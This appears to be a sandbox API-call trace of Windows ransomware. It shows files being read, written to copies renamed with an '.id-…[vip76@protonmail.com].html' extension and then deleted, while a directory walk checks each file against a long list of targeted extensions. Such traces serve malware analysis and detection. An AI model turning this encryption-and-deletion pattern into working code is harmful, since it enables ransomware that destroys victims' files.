	[0088.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.043] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=896) returned 1
	[0088.043] CloseHandle (hObject=0x38c) returned 1
	[0088.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
	[0088.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.044] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.044] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.044] GetLastError () returned 0x0
	[0088.044] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x380, lpOverlapped=0x0) returned 1
	[0088.046] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x390, lpOverlapped=0x0) returned 1
	[0088.052] ReadFile (in: hFile=0x38c, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.052] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.052] SetEndOfFile (hFile=0x338) returned 1
	[0088.052] CloseHandle (hObject=0x338) returned 1
	[0088.052] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.052] SetEndOfFile (hFile=0x38c) returned 1
	[0088.054] CloseHandle (hObject=0x38c) returned 1
	[0088.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0088.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.055] lstrlenW (lpString=".doc") returned 4
	[0088.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString=".docx") returned 5
	[0088.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.055] lstrlenW (lpString=".pdf") returned 4
	[0088.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString=".xls") returned 4
	[0088.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.055] lstrlenW (lpString=".xlsx") returned 5
	[0088.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.055] lstrlenW (lpString=".ppt") returned 4
	[0088.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.055] lstrlenW (lpString=".zip") returned 4
	[0088.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.055] lstrlenW (lpString=".rar") returned 4
	[0088.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString=".bz2") returned 4
	[0088.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString=".7z") returned 3
	[0088.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.055] lstrlenW (lpString=".dbf") returned 4
	[0088.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.055] lstrlenW (lpString=".1cd") returned 4
	[0088.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.056] lstrlenW (lpString=".jpg") returned 4
	[0088.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.056] lstrlenW (lpString=".doc") returned 4
	[0088.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString=".docx") returned 5
	[0088.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.056] lstrlenW (lpString=".pdf") returned 4
	[0088.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString=".xls") returned 4
	[0088.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.056] lstrlenW (lpString=".xlsx") returned 5
	[0088.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.056] lstrlenW (lpString=".ppt") returned 4
	[0088.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.056] lstrlenW (lpString=".zip") returned 4
	[0088.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.056] lstrlenW (lpString=".rar") returned 4
	[0088.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString=".bz2") returned 4
	[0088.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.056] lstrlenW (lpString=".7z") returned 3
	[0088.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".dbf") returned 4
	[0088.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".1cd") returned 4
	[0088.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.057] lstrlenW (lpString=".jpg") returned 4
	[0088.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.057] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.057] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0088.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 20
	os_tid = 0xeb0

	[0057.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4230048
	[0057.941] lstrlenW (lpString="C:") returned 2
	[0057.941] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x389fcf8 | out: lpFindFileData=0x389fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5e0830
	[0057.941] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0057.941] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0057.941] lstrlenW (lpString="$GetCurrent") returned 11
	[0057.941] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0057.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0057.942] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0057.942] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0530
	[0057.945] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0057.945] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0057.945] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0057.945] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0057.945] lstrlenW (lpString="Logs") returned 4
	[0057.945] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0057.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0057.948] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0057.948] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0430
	[0057.949] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.949] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0057.950] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0057.950] lstrlenW (lpString=".1cd") returned 4
	[0057.950] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0057.950] lstrlenW (lpString=".3ds") returned 4
	[0057.950] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0057.950] lstrlenW (lpString=".3fr") returned 4
	[0057.950] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0057.950] lstrlenW (lpString=".3g2") returned 4
	[0057.950] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0057.950] lstrlenW (lpString=".3gp") returned 4
	[0057.950] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0057.950] lstrlenW (lpString=".7z") returned 3
	[0057.950] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0057.950] lstrlenW (lpString=".accda") returned 6
	[0057.950] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0057.950] lstrlenW (lpString=".accdb") returned 6
	[0057.950] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0057.950] lstrlenW (lpString=".accdc") returned 6
	[0057.950] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0057.950] lstrlenW (lpString=".accde") returned 6
	[0057.950] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0057.950] lstrlenW (lpString=".accdt") returned 6
	[0057.950] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0057.950] lstrlenW (lpString=".accdw") returned 6
	[0057.951] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0057.951] lstrlenW (lpString=".adb") returned 4
	[0057.951] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".adp") returned 4
	[0057.951] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai") returned 3
	[0057.951] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0057.951] lstrlenW (lpString=".ai3") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai4") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai5") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai6") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai7") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".ai8") returned 4
	[0057.951] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".anim") returned 5
	[0057.951] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0057.951] lstrlenW (lpString=".arw") returned 4
	[0057.951] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0057.951] lstrlenW (lpString=".as") returned 3
	[0057.951] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0057.951] lstrlenW (lpString=".asa") returned 4
	[0057.951] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".asc") returned 4
	[0057.952] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".ascx") returned 5
	[0057.952] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0057.952] lstrlenW (lpString=".asm") returned 4
	[0057.952] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".asmx") returned 5
	[0057.952] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0057.952] lstrlenW (lpString=".asp") returned 4
	[0057.952] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".aspx") returned 5
	[0057.952] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0057.952] lstrlenW (lpString=".asr") returned 4
	[0057.952] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".asx") returned 4
	[0057.952] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".avi") returned 4
	[0057.952] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".avs") returned 4
	[0057.952] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".backup") returned 7
	[0057.952] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0057.952] lstrlenW (lpString=".bak") returned 4
	[0057.952] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".bay") returned 4
	[0057.952] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0057.952] lstrlenW (lpString=".bd") returned 3
	[0057.953] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0057.953] lstrlenW (lpString=".bin") returned 4
	[0057.953] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".bmp") returned 4
	[0057.953] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".bz2") returned 4
	[0057.953] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".c") returned 2
	[0057.953] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0057.953] lstrlenW (lpString=".cdr") returned 4
	[0057.953] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".cer") returned 4
	[0057.953] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".cf") returned 3
	[0057.953] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0057.953] lstrlenW (lpString=".cfc") returned 4
	[0057.953] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".cfm") returned 4
	[0057.953] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".cfml") returned 5
	[0057.953] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0057.953] lstrlenW (lpString=".cfu") returned 4
	[0057.953] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".chm") returned 4
	[0057.953] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0057.953] lstrlenW (lpString=".cin") returned 4
	[0057.954] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".class") returned 6
	[0057.954] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0057.954] lstrlenW (lpString=".clx") returned 4
	[0057.954] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".config") returned 7
	[0057.954] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0057.954] lstrlenW (lpString=".cpp") returned 4
	[0057.954] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".cr2") returned 4
	[0057.954] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".crt") returned 4
	[0057.954] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".crw") returned 4
	[0057.954] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".cs") returned 3
	[0057.954] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0057.954] lstrlenW (lpString=".css") returned 4
	[0057.954] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".csv") returned 4
	[0057.954] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".cub") returned 4
	[0057.954] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".dae") returned 4
	[0057.954] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0057.954] lstrlenW (lpString=".dat") returned 4
	[0057.955] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".db") returned 3
	[0057.955] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0057.955] lstrlenW (lpString=".dbf") returned 4
	[0057.955] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dbx") returned 4
	[0057.955] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dc3") returned 4
	[0057.955] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dcm") returned 4
	[0057.955] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dcr") returned 4
	[0057.955] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".der") returned 4
	[0057.955] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dib") returned 4
	[0057.955] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dic") returned 4
	[0057.955] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".dif") returned 4
	[0057.955] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0057.955] lstrlenW (lpString=".divx") returned 5
	[0057.955] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0057.955] lstrlenW (lpString=".djvu") returned 5
	[0057.955] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0057.955] lstrlenW (lpString=".dng") returned 4
	[0057.955] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".doc") returned 4
	[0057.956] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".docm") returned 5
	[0057.956] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0057.956] lstrlenW (lpString=".docx") returned 5
	[0057.956] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0057.956] lstrlenW (lpString=".dot") returned 4
	[0057.956] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dotm") returned 5
	[0057.956] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0057.956] lstrlenW (lpString=".dotx") returned 5
	[0057.956] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0057.956] lstrlenW (lpString=".dpx") returned 4
	[0057.956] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dqy") returned 4
	[0057.956] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dsn") returned 4
	[0057.956] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dt") returned 3
	[0057.956] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0057.956] lstrlenW (lpString=".dtd") returned 4
	[0057.956] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dwg") returned 4
	[0057.956] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dwt") returned 4
	[0057.956] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0057.956] lstrlenW (lpString=".dx") returned 3
	[0057.957] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0057.957] lstrlenW (lpString=".dxf") returned 4
	[0057.957] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".edml") returned 5
	[0057.957] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0057.957] lstrlenW (lpString=".efd") returned 4
	[0057.957] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".elf") returned 4
	[0057.957] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".emf") returned 4
	[0057.957] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".emz") returned 4
	[0057.957] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".epf") returned 4
	[0057.957] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".eps") returned 4
	[0057.957] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".epsf") returned 5
	[0057.957] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0057.957] lstrlenW (lpString=".epsp") returned 5
	[0057.957] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0057.957] lstrlenW (lpString=".erf") returned 4
	[0057.957] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".exr") returned 4
	[0057.957] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0057.957] lstrlenW (lpString=".f4v") returned 4
